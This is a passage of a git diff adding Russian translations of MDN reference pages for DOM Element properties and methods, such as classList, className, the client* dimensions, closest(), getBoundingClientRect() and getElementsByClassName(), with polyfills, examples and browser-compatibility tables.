// Источник: https://gist.github.com/k-gun/c2ea7c49edf7b757fe9561ba37cb19ca
+;(function() {
+    // helpers
+    var regExp = function(name) {
+        return new RegExp('(^| )'+ name +'( |$)');
+    };
+    var forEach = function(list, fn, scope) {
+        for (var i = 0; i < list.length; i++) {
+            fn.call(scope, list[i]);
+        }
+    };
+
+    // class list object with basic methods
+    function ClassList(element) {
+        this.element = element;
+    }
+
+    ClassList.prototype = {
+        add: function() {
+            forEach(arguments, function(name) {
+                if (!this.contains(name)) {
+                    this.element.className += ' '+ name;
+                }
+            }, this);
+        },
+        remove: function() {
+            forEach(arguments, function(name) {
+                this.element.className =
+                    this.element.className.replace(regExp(name), '');
+            }, this);
+        },
+        toggle: function(name) {
+            return this.contains(name)
+                ? (this.remove(name), false) : (this.add(name), true);
+        },
+        contains: function(name) {
+            return regExp(name).test(this.element.className);
+        },
+        // bonus..
+        replace: function(oldName, newName) {
+            this.remove(oldName), this.add(newName);
+        }
+    };
+
+    // IE8/9, Safari
+    if (!('classList' in Element.prototype)) {
+        Object.defineProperty(Element.prototype, 'classList', {
+            get: function() {
+                return new ClassList(this);
+            }
+        });
+    }
+
+    // replace() support for others
+    if (window.DOMTokenList && DOMTokenList.prototype.replace == null) {
+        DOMTokenList.prototype.replace = ClassList.prototype.replace;
+    }
+})();
+
+ +

 

+ +

Поддержка браузерами

+ +

 

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support8.0{{ CompatGeckoDesktop("1.9.2") }}1011.505.1
+ {{Webkitbug("20709")}}
toggle method's second argument24{{CompatGeckoDesktop("24")}}not supported15yes
+ {{Webkitbug("99375")}} +

 

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support3.0{{CompatGeckoMobile("1.9.2")}}1011.105.0
toggle method's second argument?{{CompatGeckoMobile("24")}}???
+
+ +

 

+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/element/classname/index.html b/files/ru/web/api/element/classname/index.html new file mode 100644 index 0000000000..2492c08bb0 --- /dev/null +++ b/files/ru/web/api/element/classname/index.html @@ -0,0 +1,108 @@ +--- +title: Element.className +slug: Web/API/Element/className +translation_of: Web/API/Element/className +--- +
{{APIRef("DOM")}}
+ +

Описание

+ +

Свойство className отвечает за значение атрибута class элемента.

+ +
+

Кстати, у className есть большой брат. Его зовут {{domxref("element.classList")}} - более мощный и функциональный метод для работы с классами элемента.

+
+ +

Синтаксис

+ +
var cName = elem.className;
+elem.className = cName;
+ + + +

Пример

+ +
<div class="booble example"> </div>
+
+ +
var elm = document.querySelector("div");
+
+alert(elm.className); //"booble example"
+
+elm.className = "class1 class2 class3";
+alert(elm.className); //"class1 class2 class3"
+
+ +
+
Заметка:
+ +

  Свойство получило необычное название className из-за того, что во многих языках, работающих с DOM, слово class является зарезервированным.

+
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

 

+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/element/clientheight/index.html b/files/ru/web/api/element/clientheight/index.html new file mode 100644 index 0000000000..5e7f55f8ff --- /dev/null +++ b/files/ru/web/api/element/clientheight/index.html @@ -0,0 +1,114 @@ +--- +title: Element.clientHeight +slug: Web/API/Element/clientHeight +translation_of: Web/API/Element/clientHeight +--- +

{{ APIRef("DOM") }}

+ +

Element.clientHeight - свойство, доступное только для чтения. Для элементов без CSS-стилей, или элементов каркаса строчной разметки - значение равно нулю. Для остальных элементов - значение равно внутренней высоте элемента в пикселах, включая пространство между содержимым элемента и его границей (padding), но исключая высоту полосы горизонтальной прокрутки, и ширину отступа от границы элемента до родительского элемента (margin).

+ +

Значение clientHeight может быть вычислено по формуле CSS height + CSS padding - высота горизонтального скролла (если присутствует).

+ +
+

Внимание: При вычислении значения свойства, результат округляется до ближайшего целого. Если требуется дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

Синтакс

+ +
var h = element.clientHeight;
+ +

h - целочисленное значение высоты элемента в пикселях.

+ +

Пример

+ +

 

+ +

             Image:Dimensions-client.png

+ + +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусПримечание
{{SpecName('CSSOM View', '#dom-element-clientheight', 'clientHeight')}}{{Spec2('CSSOM View')}} 
+ +

К сведению

+ +

Свойство clientHeight впервые было представлено в объектной модели Internet Explorer.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}6{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/clientleft/index.html b/files/ru/web/api/element/clientleft/index.html new file mode 100644 index 0000000000..28ac7b7def --- /dev/null +++ b/files/ru/web/api/element/clientleft/index.html @@ -0,0 +1,68 @@ +--- +title: Element.clientLeft +slug: Web/API/Element/clientLeft +translation_of: Web/API/Element/clientLeft +--- +
{{ APIRef("DOM") }}
+ +
Ширина от левого края элемента в пискелях. При наличии overflow заключает в себя ширину от ветикального scrollbar для письма справа налево.
+ +

clientLeft не включает в себя ни левый padding ни margin с той же стороны. clientLeft только для чтения.

+ +

Gecko-based applications support clientLeft starting with Gecko 1.9 (Firefox 3, implemented in {{ Bug(111207) }}). This property is not supported in Firefox 2 and earlier.

+ +

Когда layout.scrollbar.side значение установлено от 1 до 3 и направление текста справа налево, то вертикальный scrollbar будет спозиционирован слева и как следствие будет вычислен сlientLeft.

+ +
+

Внимание: Это свойство округлит значение к целому числу. Если нужно дробное значение используйте {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

Syntax

+ +
var left = element.clientLeft;
+
+ +

Example

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}{{Spec2("CSSOM View")}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Element.clientLeft")}}

+ +

Notes

+ +

clientLeft был впервые введен MS IE DHTML object model.

+ +

Расположени вертикального scrollbar для письма справа налево применненного для элемента будет назначатся вледующим свойством layout.scrollbar.side preference

+ +

Когда установлены стили элемента display: inline, то clientLeft вернет 0 несмотря на границы элемента.

diff --git a/files/ru/web/api/element/clienttop/index.html b/files/ru/web/api/element/clienttop/index.html new file mode 100644 index 0000000000..e3c1521657 --- /dev/null +++ b/files/ru/web/api/element/clienttop/index.html @@ -0,0 +1,70 @@ +--- +title: Element.clientTop +slug: Web/API/Element/clientTop +translation_of: Web/API/Element/clientTop +--- +
{{ APIRef("DOM") }}
+ +

Толщина верхней границы элемента в пикселях. Не включает в себя margin и padding. Свойство только для чтения.

+ +

Всё, что лежит между двумя местами (offsetTop и верх клиентской области) является границей элемента, потому что offsetTop показывает местоположение верха border элемента (не margin), в то время как верх клиентской области начинается сразу под border (клиентская область включает padding). Поэтому значение clientTop всегда будет равно значению .getComputedStyle() для "border-top-width". Например, если значение "border-top-width" равно нулю, то и clientTop тоже равно нулю.

+ +
+

Примечание: Это свойство округляет значение до целого. Если вам нужно дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

Основанные на Gecko приложения поддерживают clientTop начиная с Gecko 1.9 (Firefox 3, реализованно в  {{ Bug(111207) }}). Это свойство не поддерживается в  Firefox 2 и более ранних.

+ +

Синтаксис

+ +
vartop = element.clientTop;
+
+ +

Пример

+ +

В следующей иллюстрации клиентская область показана белым (части под названиями "Top", "Right" и т. д. не имеют никакого отношения к клиентской области). Значение clientTop - расстояние между окончением области margin (жёлтый) или padding и началом области контента (белый)

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right margin-top margin-bottom border-top border-bottomBottom
+ +

Примечание

+ +

clientTop был впервые введен в MS IE DHTML object model.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSSOM View', '#dom-element-clienttop', 'clientTop')}}{{Spec2("CSSOM View")}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.clientTop")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/clientwidth/index.html b/files/ru/web/api/element/clientwidth/index.html new file mode 100644 index 0000000000..927ef1e1cb --- /dev/null +++ b/files/ru/web/api/element/clientwidth/index.html @@ -0,0 +1,59 @@ +--- +title: Element.clientWidth +slug: Web/API/Element/clientWidth +translation_of: Web/API/Element/clientWidth +--- +
{{APIRef("DOM")}}
+ +

Свойство Element.clientWidth равно 0 для инлайн элементов и элементов без CSS; для всех остальных равняется ширине элемента в пикселях, включая padding, но исключая ширину рамки (border), внешние отступы (margin), и вертикальную полосу прокрутки (если она есть).

+ +
+

Note: Это свойство округляет реальное значение до целого. Если вам нужно дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

Синтаксис

+ +
var intElemClientWidth = element.clientWidth;
+ +

intElemClientWidth - целое число, соответствующее значению clientWidth элемента element в пикселях. Свойство clientWidth только для чтения.

+ +

Пример

+ +

Image:Dimensions-client.png

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецфикацияСтатусКомментарий
{{SpecName('CSSOM View', '#dom-element-clientwidth', 'clientWidth')}}{{Spec2("CSSOM View")}}
+ +

Примечание

+ +

clientWidth был впервые предствлен в объектной модели MS IE DHTML.

+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Element.clientWidth")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html new file mode 100644 index 0000000000..5ca79dbcc0 --- /dev/null +++ b/files/ru/web/api/element/closest/index.html @@ -0,0 +1,124 @@ +--- +title: Element.closest() +slug: Web/API/Element/closest +tags: + - API + - DOM + - Element + - Method + - Reference +translation_of: Web/API/Element/closest +--- +
{{APIRef("DOM")}}
+ +

Метод Element.closest() возвращает ближайший родительский элемент (или сам элемент), который соответствует заданному CSS-селектору или null, если таковых элементов вообще нет.

+ +

Синтаксис

+ +
var elt = element.closest(selectors);
+
+ + + +

Исключения

+ +
+
SYNTAX_ERR
+
Указаный css-селектор не является допустимым ("/=21=1", "&@*#", "%'54523" и т.п. приведут к ошибке).
+
+ +

Пример

+ +
<div id="block" title="Я - блок">
+    <a href="#">Я ссылка в никуда</a>
+    <a href="http://site.ru">Я ссылка на сайт</a>
+    <div>
+       <div id="too"></div>
+    </div>
+</div>
+
+ +

Думаю, стоит рассмотреть несколько примеров:

+ +
var div = document.querySelector("#too"); //Это элемент от которого мы начнем поиск
+
+div.closest("#block"); //Результат - самый первый блок древа выше
+div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div"
+div.closest("a"); //null - В предках #too нет ни одного тега "a"!
+div.closest("div[title]") //#block - так как ближе нет блоков с атрибутом title.
+
+
+ +

Полифилл #1 (рекурсивный метод)

+ +

Для браузеров не поддерживающих Element.closest(), но позволяющих использовать element.matches() (или префиксный эквивалент) есть полифилл:

+ +
(function(ELEMENT) {
+    ELEMENT.matches = ELEMENT.matches || ELEMENT.mozMatchesSelector || ELEMENT.msMatchesSelector || ELEMENT.oMatchesSelector || ELEMENT.webkitMatchesSelector;
+    ELEMENT.closest = ELEMENT.closest || function closest(selector) {
+        if (!this) return null;
+        if (this.matches(selector)) return this;
+        if (!this.parentElement) {return null}
+        else return this.parentElement.closest(selector)
+      };
+}(Element.prototype));
+ +

Полифилл #2 (через цикл)

+ +

Тем не менее, если вам требуется поддержка IE 8, вы можете использовать следующий полифилл. Имейте ввиду - этот способ позволяет использовать CSS селекторы только уровня 2.1 и может жутко тормозить.

+ +
(function(e){
+ e.closest = e.closest || function(css){
+   var node = this;
+ 
+   while (node) {
+      if (node.matches(css)) return node;
+      else node = node.parentElement;
+   }
+   return null;
+ }
+})(Element.prototype);
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{Compat("api.Element.closest")}}
+ +
+

Заметки совместимости

+ + + +

См. также

+ + +
diff --git a/files/ru/web/api/element/createshadowroot/index.html b/files/ru/web/api/element/createshadowroot/index.html new file mode 100644 index 0000000000..26c80f8497 --- /dev/null +++ b/files/ru/web/api/element/createshadowroot/index.html @@ -0,0 +1,91 @@ +--- +title: Element.createShadowRoot() +slug: Web/API/Element/createShadowRoot +translation_of: Web/API/Element/createShadowRoot +--- +

{{draft}}

+ +

{{deprecated_header()}}

+ +

Используйте Element.createShadowRoot чтобы создать  экземпляр shadow DOM. После создания shadow DOM, он всегда будет привязан к существующему элементу. После создания shadowDOM, элемент к которому он привязан будет называться Теневой корень (shadowRoot) {{glossary("shadow root")}}.

+ +
+

This method has been deprecated in favor of attachShadow.

+
+ +

Синтаксис

+ +
var shadowroot = element.createShadowRoot();
+
+ +

Параметры

+ +

Отсутствуют

+ +

Значение результата

+ +

Возвращает {{domxref("ShadowRoot")}}.

+ +

Спецификация

+ +

Эта функция больше не определяется никакими спецификациями

+ +

Совместимость браузеров

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(35.0)}}{{CompatNo}}{{CompatNo}}22{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +
+

В Chrome 45, возможность иметь несколько теневых корней устарела.

+
diff --git a/files/ru/web/api/element/currentstyle/index.html b/files/ru/web/api/element/currentstyle/index.html new file mode 100644 index 0000000000..3df9fd524a --- /dev/null +++ b/files/ru/web/api/element/currentstyle/index.html @@ -0,0 +1,52 @@ +--- +title: Element.currentStyle +slug: Web/API/Element/currentStyle +tags: + - API + - NeedsExample + - Non-standard + - Property +translation_of: Web/API/Element/currentStyle +--- +

{{Non-standard_header}}

+ +

Element.currentStyle является собственностью, похожей на стандартизированную {{DOMxRef("window.getComputedStyle()")}} method. Он доступен в старых версиях Microsoft Internet Explorer. Однако, он возвращает единицы, установленные в CSS в то время как window.getComputedStyle()возвращает значения в пикселях.

+ +

Polyfill

+ +
+

Эта polyfill возвращает значения в пикселях и, скорее всего, будет довольно медленным, так как оно должно называться {{domxref("window.getComputedStyle()")}} каждый раз, когда читается его значение.

+
+ +
/* Любое авторское право посвящено Общественному достоянию.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+if (!("currentStyle" in Element.prototype)) {
+  Object.defineProperty(Element.prototype, "currentStyle", {
+    get: function() {
+      return window.getComputedStyle(this);
+    }
+  });
+}
+
+ +

Спецификации

+ +

Не входит ни в какие спецификации.

+ +

Microsoft had a description on MSDN.

+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Element.currentStyle")}}

+ +

См. также

+ + + +
{{APIRef("DOM")}}
diff --git a/files/ru/web/api/element/getattribute/index.html b/files/ru/web/api/element/getattribute/index.html new file mode 100644 index 0000000000..a60d2fcdcd --- /dev/null +++ b/files/ru/web/api/element/getattribute/index.html @@ -0,0 +1,49 @@ +--- +title: Element.getAttribute() +slug: Web/API/Element/getAttribute +tags: + - API + - DOM + - Method + - метод +translation_of: Web/API/Element/getAttribute +--- +

{{ ApiRef("DOM") }}

+ +

Описание

+ +

getAttribute() возвращает значение указанного атрибута элемента. Если элемент не содержит данный атрибут, могут быть возвращены null или "" (пустая строка); подробнее {{ Anch("Notes") }}.

+ +

Синтаксис

+ +
var attribute = element.getAttribute(attributeName);
+
+ +

где

+ + + +

Пример

+ +
var div1 = document.getElementById("div1");
+var align = div1.getAttribute("align");
+alert(align); // отобразит значение атрибута align элемента с id="div1"
+
+ +

Примечания

+ +

Когда метод getAttribute вызывается применительно к HTML-элементу, в DOM HTML-документа, значение аргумента приводится к нижнему регистру.

+ +

В действительности все браузеры (Firefox, Internet Explorer, последние версии Opera, Safari, Konqueror, iCab и т.д.) возвращают null, когда выбранный элемент не содержит атрибута с переданным именем. Спецификация DOM определяет, что корректное возвращаемое значение в данном случае - пустая строка и некоторые реализации DOM придерживаются такого поведения. Реализация getAttribute в XUL (Gecko) в настоящее время следует спецификации и возвращает пустую строку. Следовательно, имеет смысл использовать hasAttribute, чтобы проверять наличие атрибутов перед вызовом getAttribute(), если может быть такое, что выбранный элемент не будет содержать искомого атрибута.

+ +

{{ DOMAttributeMethods() }}

+ +

Спецификации

+ + diff --git a/files/ru/web/api/element/getboundingclientrect/index.html b/files/ru/web/api/element/getboundingclientrect/index.html new file mode 100644 index 0000000000..2a53575049 --- /dev/null +++ b/files/ru/web/api/element/getboundingclientrect/index.html @@ -0,0 +1,102 @@ +--- +title: Element.getBoundingClientRect() +slug: Web/API/Element/getBoundingClientRect +tags: + - API + - DOM + - JavaScript + - getBoundingClientRect + - Позиция + - Прямоугольник + - Самый маленький + - Справка + - Элемент + - метод +translation_of: Web/API/Element/getBoundingClientRect +--- +
{{APIRef("DOM")}}
+ +

Метод Element.getBoundingClientRect() возвращает размер элемента и его позицию относительно viewport (часть страницы, показанная на экране, и которую мы видим).

+ +

Синтаксис

+ +
domRect = element.getBoundingClientRect();
+ +

Возвращаемое значение

+ +

Данный метод возвращает объект {{domxref("DOMRect")}}, который является объединением прямоугольников, возвращаемых методом {{domxref("Element.getClientRects", "getClientRects()")}}  для данного элемента, т. е. CSS border-boxes (css-коробок в рамках), связанных с этим элементом. Результатом является самый маленький прямоугольник, в котором содержится весь элемент с read-only left, top, right, bottom, x, y, width и height свойствами, описывающие это в пикселях. Все свойства, кроме width и height, являются относительными к верхнему левому углу viewport-а.

+ +

Explanation of DOMRect values

+ +

Пустые border-box полностью игнорируются. Если border-box элемента пуст, прямоугольник возвращается с нулевыми width и height, а top и left берутся у следующего CSS элемента (в порядке контента).

+ +

После каждого скролла значения left, top, right и bottom изменяются, так как эти значения относительны к viewport и не абсолютные.

+ +

Если вам нужны значения, описывающие прямоугольник относительно к верхнему левому углу документа, просто добавьте к свойствам top и left текущую позицию прокрутки, используя {{domxref("window.scrollX")}} и {{domxref("window.scrollY")}}), чтобы получить прямоугольник, положение которого не зависит от текущей позиции прокрутки.

+ +

Про кроссбраузерность

+ +

Скрипты, требующих высокую кроссбраузерность, могут использовать {{domxref("window.pageXOffset")}} и {{domxref("window.pageYOffset")}} вместо window.scrollX and window.scrollY. Скрипты без доступа к этим свойствам могут использовать код, наподобие этого:

+ +
// Для scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+  && typeof t.scrollLeft == 'number' ? t : document.body).scrollLeft
+// Для scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+  && typeof t.scrollTop == 'number' ? t : document.body).scrollTop
+ +

Пример

+ +
// rect - DOMRect объект с 8-ми свойствами: left, top, right, bottom, x, y, width, height
+var rect = obj.getBoundingClientRect();
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSSOM View", "#dom-element-getboundingclientrect", "Element.getBoundingClientRect()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

Примечания

+ +

Возвращаемый DOMRect объект может быть модифицирован в современных браузерах. Это не так со старыми версиями, которые возвращали DOMRectReadOnly. У IE и Edge, не имея возможности добавить пропущенные свойства к возращаемым ими ClientRect, объект не позволял добавить x и y.

+ +

Для кроссбраузерности надежно использовать только left, top, right, и bottom.

+ +

Свойства у DOMRect не являются собственными. in оператор и for...in найдут возвращенные значение, но другие APIs, Object.keys(), — нет. А еще Object.assign() и spread оператор не копируют их.

+ +
rect = elt.getBoundingClientRect()
+// emptyObj всегда {}
+emptyObj = Object.assign({}, rect)
+emptyObj = { ...rect }
+{width, ...emptyObj} = rect
+ +

DOMRect свойства top, left, right и bottom вычисляются, используя значения других свойств объекта.

+ +

Браузерная совместимость

+ +
+

{{Compat("api.Element.getBoundingClientRect")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/api/element/getelementsbyclassname/index.html b/files/ru/web/api/element/getelementsbyclassname/index.html new file mode 100644 index 0000000000..08cacea20e --- /dev/null +++ b/files/ru/web/api/element/getelementsbyclassname/index.html @@ -0,0 +1,117 @@ +--- +title: Element.getElementsByClassName() +slug: Web/API/Element/getElementsByClassName +tags: + - API + - Класс + - Коллекция + - Элемент +translation_of: Web/API/Element/getElementsByClassName +--- +

{{APIRef("DOM")}}

+ +

Element.getElementsByClassName() метод возвращает объект {{domxref("HTMLCollection")}}, содержащий в себе все дочерние элементы, которые имеют заданные имена классов. Если вызван на объекте document, будут возвращены все элементы, содержащиеся в документе.

+ +

Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернет элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.

+ +

Syntax

+ +
var elements = element.getElementsByClassName(names);
+ + + +

Examples

+ +

Получить все элементы с классом test:

+ +
element.getElementsByClassName('test');
+ +

Получить все элементы с классами test и red:

+ +
element.getElementsByClassName('red test');
+ +

Получить все элементы с классом test, которые находятся в элементе с id main:

+ +
document.getElementById('main').getElementsByClassName('test');
+ +

Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом  {{ domxref("HTMLCollection") }} путем передачи HTMLCollection в метод как значение this. Так мы найдем все {{HTMLElement("div")}} элементы, которые имеют класс test:

+ +
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'div';
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]9{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }} [1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflects the change in the spec.

+ +

[2] Safari on iOS 8 and OS X 10.10 returns a {{domxref("NodeList")}}.

diff --git a/files/ru/web/api/element/getelementsbytagname/index.html b/files/ru/web/api/element/getelementsbytagname/index.html new file mode 100644 index 0000000000..dc9dc4fbc7 --- /dev/null +++ b/files/ru/web/api/element/getelementsbytagname/index.html @@ -0,0 +1,134 @@ +--- +title: Element.getElementsByTagName() +slug: Web/API/Element/getElementsByTagName +translation_of: Web/API/Element/getElementsByTagName +--- +

{{ APIRef("DOM") }}

+ +

Element.getElementsByTagName() метод возвращает живую коллекцию элементов {{domxref("HTMLCollection")}} , учитывая имя тэга. Поиск осуществляется в поддереве указанного элемента, в результат поиска не попадает сам элемент, в поддереве которого осуществлялся поиск. Возвращает живой список, который автоматически обновляется при изменении DOM. Поэтому не нужно вызывать метод Element.getElementsByTagName() несколько раз с одними и теми же аргументами, содержимое списка обновляется автоматически.

+ +

При вызове на HTML-элементе в HTML-документе метод  getElementsByTagName переводит аргумент по которому осуществляется поиск (имя тега) в нижний регистр до того как начать поиск. Это нежелательно, когда необходимо использовать метод для поиска SVG элементов, где в наименовании тега может использоваться верблюжья (camel-cased) нотация. В этом случае правильно использовать метод {{ domxref("Element.getElementsByTagNameNS()") }}.

+ +

Element.getElementsByTagName похож на {{domxref("Document.getElementsByTagName()")}}, за исключением того, что поиск осуществляется среди потомков конкретного элемента, а не во всём HTML-документе. 

+ +

Синтаксис

+ +
elements = element.getElementsByTagName(tagName)
+ + + +

Пример

+ +
// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i < cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}{{Spec2('DOM WHATWG')}}Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}
{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM1')}}Initial definition
+ +

Совместимость браузеров

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0 [2]{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} [1]5.5{{ CompatVersionUnknown() }} [2]{{ CompatVersionUnknown() }} [2]
getElementsByTagName("*")1.0{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}6.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответстовать спецификации.

+ +

[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответстовать спецификации.

diff --git a/files/ru/web/api/element/hasattribute/index.html b/files/ru/web/api/element/hasattribute/index.html new file mode 100644 index 0000000000..12983eff93 --- /dev/null +++ b/files/ru/web/api/element/hasattribute/index.html @@ -0,0 +1,114 @@ +--- +title: Element.hasAttribute() +slug: Web/API/Element/hasAttribute +tags: + - ОМД + - Элемент + - метод +translation_of: Web/API/Element/hasAttribute +--- +
{{APIRef("DOM")}}
+ +

Element.hasAttribute() метод возвращает {{Glossary("Boolean")}} значение указывающее, имеет ли указанный элемент указанный атрибут или нет.

+ +

Синтаксис

+ +
var result = element.hasAttribute(attName);
+
+ + + +

Пример

+ +
// проверка, существует ли атрибут, перед тем как задать значение
+var d = document.getElementById("div1");
+
+if (d.hasAttribute("align")) {
+  d.setAttribute("align", "center");
+}
+ +

Замечания

+ +
{{DOMAttributeMethods}}
+ +
 
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
